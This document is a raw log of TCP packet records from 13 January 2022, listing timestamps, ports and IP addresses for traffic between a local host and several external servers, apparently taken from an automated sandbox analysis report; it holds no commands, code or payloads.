Jan 13, 2022 20:50:32.810978889 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.811000109 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.811022997 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.811032057 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.811057091 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.811068058 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.811080933 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.811108112 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.813114882 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813146114 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813167095 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813190937 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813194036 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.813211918 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.813215017 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813239098 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813261032 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813271046 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.813285112 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813308954 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.813322067 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.813360929 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.870964050 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.870995998 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871018887 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871041059 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871053934 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.871063948 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871088028 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871103048 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.871110916 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871130943 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.871134043 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871159077 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871181965 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871191025 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.871206999 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871228933 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871228933 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.871253014 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871270895 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.871275902 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871299028 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.871345997 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.872462988 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.872489929 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.872513056 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.872534990 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.872555017 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.872558117 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.872579098 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.872597933 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.872602940 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.872622967 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.872668028 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:34.622001886 CET	49751	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.678220034 CET	80	49751	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:34.678343058 CET	49751	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.678448915 CET	49751	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.678469896 CET	49751	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.738758087 CET	80	49751	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:34.797025919 CET	80	49751	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:34.797116995 CET	49751	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.797390938 CET	49751	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.830218077 CET	49752	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.857238054 CET	80	49751	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:34.887223959 CET	80	49752	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:34.887342930 CET	49752	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.887465954 CET	49752	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.887482882 CET	49752	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.945276022 CET	80	49752	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:34.999126911 CET	80	49752	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:34.999221087 CET	49752	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:34.999577045 CET	49752	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:35.056118965 CET	80	49752	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:35.115343094 CET	49753	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:35.173444033 CET	80	49753	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:35.173542976 CET	49753	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:35.173708916 CET	49753	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:35.173737049 CET	49753	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:35.229566097 CET	80	49753	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:35.279715061 CET	80	49753	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:35.282438993 CET	49753	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:35.282639027 CET	49753	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:35.339171886 CET	80	49753	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:35.357218027 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.357259035 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.357336998 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.357923031 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.357939959 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.405052900 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.405205965 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.407866001 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.407888889 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.408118963 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.410140038 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.452785969 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.452903032 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.452953100 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.452997923 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453025103 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453054905 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453078985 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453114986 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453169107 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453211069 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453216076 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453233004 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453273058 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453284025 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453368902 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453411102 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453418016 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453430891 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453469038 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453481913 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453541040 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453577042 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453598976 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453613043 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453627110 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453660011 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453704119 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453707933 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453722000 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453763962 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453829050 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453922033 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453962088 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.453967094 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.453982115 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454030037 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454067945 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454067945 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454080105 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454106092 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454147100 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454189062 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454226971 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454227924 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454241991 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454283953 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454296112 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454336882 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454341888 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454358101 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454399109 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454408884 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454461098 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454500914 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454503059 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454513073 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454551935 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454560995 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454605103 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454643965 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454653025 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454663992 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454701900 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.454708099 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454721928 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.454754114 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.470604897 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.470684052 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.470712900 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.470771074 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.470783949 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.470853090 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.470896959 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.470906973 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.470921040 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.470972061 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.470980883 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471062899 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471107006 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471116066 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471133947 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471184015 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471215010 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471229076 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471236944 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471297979 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471321106 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471371889 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471373081 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471394062 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471421003 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471442938 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471445084 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471467018 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471493006 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471713066 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471765995 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471770048 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471786022 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471824884 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471833944 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471848011 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.471880913 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471900940 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.471961021 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.472033024 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.472357988 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.472420931 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.491595984 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.491672039 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.491671085 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.491692066 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.491719961 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.491734028 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.491734982 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.491751909 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.491785049 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.491802931 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.491975069 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.509354115 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.509377956 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509448051 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.509665966 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.509674072 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509684086 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509690046 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509742975 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.509748936 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509757996 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509790897 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.509798050 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509841919 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.509865046 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509877920 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.509884119 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.509933949 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.547112942 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.547137022 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547220945 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.547297001 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.547305107 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547317982 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547324896 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547425985 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.547435999 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547445059 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547462940 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547493935 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.547502041 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547529936 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.547534943 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.547580957 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.547615051 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.548520088 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.548537016 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.548616886 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.548693895 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.548700094 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.548711061 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.548717976 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.548794031 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.548803091 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.548835993 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.548844099 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.548885107 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.548929930 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.549724102 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.549740076 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.549820900 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.549968004 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.549974918 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.549987078 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.549997091 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.550062895 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.550071955 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.550116062 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.550122023 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.550160885 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.550194979 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.550803900 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.550820112 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.550908089 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.550985098 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.550992966 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551007986 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551013947 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551091909 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551101923 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551167011 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551173925 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551204920 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551239014 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551677942 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551691055 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551750898 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551758051 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551779032 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551800013 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551806927 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551841021 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551846981 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.551908016 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.551943064 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.552525997 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.552540064 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.552638054 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.552720070 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.552726030 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.552825928 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.553548098 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.553637981 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.555902958 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.555929899 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:35.555960894 CET	49754	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:50:35.555969000 CET	443	49754	162.159.129.233	192.168.2.5
Jan 13, 2022 20:50:37.160010099 CET	49757	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.216015100 CET	80	49757	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.216217041 CET	49757	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.216315031 CET	49757	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.216325998 CET	49757	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.271629095 CET	80	49757	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.321618080 CET	80	49757	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.321762085 CET	49757	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.321921110 CET	49757	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.353871107 CET	49758	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.377962112 CET	80	49757	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.410089016 CET	80	49758	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.410396099 CET	49758	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.410423994 CET	49758	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.411566019 CET	49758	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.529488087 CET	80	49758	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.529841900 CET	49758	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.529867887 CET	49758	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.569120884 CET	49760	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.586502075 CET	80	49758	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.623955011 CET	80	49760	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.625979900 CET	49760	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.626321077 CET	49760	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.626343012 CET	49760	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:37.680635929 CET	80	49760	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:37.692440033 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:37.692539930 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:37.692579985 CET	49748	8080	192.168.2.5	185.7.214.171
